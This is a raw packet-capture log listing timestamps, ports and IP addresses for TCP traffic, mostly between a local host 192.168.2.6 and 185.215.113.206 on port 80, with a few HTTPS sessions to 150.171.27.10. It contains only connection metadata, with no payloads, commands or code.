Nov 23, 2024 19:52:28.085062981 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.085110903 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.085166931 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.086951971 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.087040901 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.087126017 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.087212086 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.133397102 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.133436918 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.133482933 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.133517027 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.133970976 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.134027958 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.134082079 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.134154081 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.135946035 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.136012077 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.136066914 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.136066914 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.179657936 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.179739952 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.179755926 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.180002928 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.180598974 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.180660963 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.180830002 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.180890083 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.180948973 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.180999041 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.182806969 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.182842970 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.182873964 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.182928085 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.184760094 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.184798956 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.184855938 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.184880018 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.186661959 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.186742067 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.186780930 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.186830044 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.188632965 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.188738108 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.188738108 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.188792944 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.190660000 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.190803051 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.190903902 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.192712069 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.192733049 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.192811966 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.194578886 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.194680929 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.194751024 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.196439028 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.196547985 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.196609974 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.198363066 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.198484898 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.198527098 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.198527098 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.200334072 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.200393915 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.200427055 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.200562000 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.202284098 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.202398062 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.202445030 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.202445030 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.204251051 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.204332113 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.204366922 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.204479933 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.206191063 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.206268072 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.206279993 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.206309080 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.208133936 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.208225965 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.208261967 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.208400011 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.210148096 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.210211039 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.210273027 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.210345984 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.212042093 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.212120056 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.212147951 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.212229967 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.213921070 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.214000940 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.258897066 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.258919001 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.259057999 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.259855032 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.259917974 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.259973049 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.260041952 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.262053013 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.262114048 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.305321932 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.305414915 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.305483103 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.305636883 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.306338072 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.306400061 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.306402922 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.306490898 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.307476044 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.307533979 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.307576895 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.307626009 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.309434891 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.309531927 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.309557915 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.309735060 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.311362982 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.311472893 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.311516047 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.311516047 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.313352108 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.313411951 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.313505888 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.313666105 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.315361023 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.315440893 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.315474033 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.315495968 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.317235947 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.317310095 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.317344904 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.317502022 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.319196939 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.319278002 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.319305897 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.319355011 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.321129084 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.321219921 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.321264982 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.321264982 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.323117018 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.323194981 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.323218107 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.323270082 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.325052023 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.325162888 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.325191021 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.325212002 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.326961994 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.327060938 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.327105045 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.327459097 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.328877926 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.328977108 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.328979015 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.329061985 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.330827951 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.330888987 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.330908060 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.331022978 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.332819939 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.332894087 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.332959890 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.334661961 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.334722996 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.334724903 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.334793091 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.336596966 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.336663961 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.336683035 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.336750984 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.338527918 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.338603020 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.338634968 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.338732958 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.340465069 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.340529919 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.340545893 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.340617895 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.384259939 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.384337902 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.384354115 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.384427071 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.384865046 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.384927988 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.385090113 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.385183096 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.385201931 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.385328054 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.386790037 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.386895895 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.430421114 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.430541039 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.430546045 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.430602074 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.431268930 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.431335926 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.431587934 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.431673050 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.431703091 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.431823969 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.433366060 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.433439970 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.433485985 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.433590889 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.435115099 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.435179949 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.435215950 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.435295105 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.436197042 CET	443	49756	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:28.436266899 CET	49756	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:28.436268091 CET	443	49756	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:28.436317921 CET	49756	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:28.436853886 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.436956882 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.436978102 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.437042952 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.438759089 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.438816071 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.438888073 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.438942909 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.440495014 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.440506935 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.440555096 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.442142963 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.442256927 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.442279100 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.442337990 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.444047928 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.444116116 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.444120884 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.444333076 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.445657015 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.445732117 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.445753098 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.445813894 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.447401047 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.447472095 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.447614908 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.447704077 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.449146986 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.449259043 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.449284077 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.449470043 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.450905085 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.450999975 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.451015949 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.451073885 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.452652931 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.452707052 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.452754021 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.452872038 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.454386950 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.454482079 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.454488039 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.454550028 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.456161022 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.456255913 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.456285954 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.456346989 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.457914114 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.457979918 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.458003998 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.458051920 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.458285093 CET	49756	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:28.458311081 CET	443	49756	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:28.458326101 CET	49756	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:28.458364010 CET	49756	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:28.459665060 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.459731102 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.459763050 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.459855080 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.460179090 CET	49764	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:28.460216999 CET	443	49764	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:28.460318089 CET	49764	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:28.460602045 CET	49764	443	192.168.2.6	150.171.27.10
Nov 23, 2024 19:52:28.460618973 CET	443	49764	150.171.27.10	192.168.2.6
Nov 23, 2024 19:52:28.461410999 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.461478949 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.461502075 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.461549997 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.463160038 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.463272095 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.463298082 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.463332891 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.464862108 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.464984894 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.509463072 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.509562016 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.509598970 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.509659052 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.510243893 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.510335922 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.510356903 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.510672092 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.511759043 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.511847019 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.555674076 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.555763960 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.555849075 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.556483030 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.556493998 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.556548119 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.557497025 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.557553053 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.557585001 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.558828115 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.559022903 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.559082031 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.559158087 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.559303999 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.560611010 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.560667992 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.560703039 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.560795069 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.562186003 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.562258959 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.562294960 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.562433004 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.563816071 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.563879967 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.563950062 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.564054966 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.565331936 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.565376043 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.565426111 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.566890001 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.566945076 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.566970110 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.567133904 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.568454027 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.568533897 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.568566084 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.568618059 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.570085049 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.570131063 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.570168018 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.570214033 CET	49736	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:28.571647882 CET	80	49736	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:28.571712971 CET	80	49736	185.215.113.206	192.168.2.6
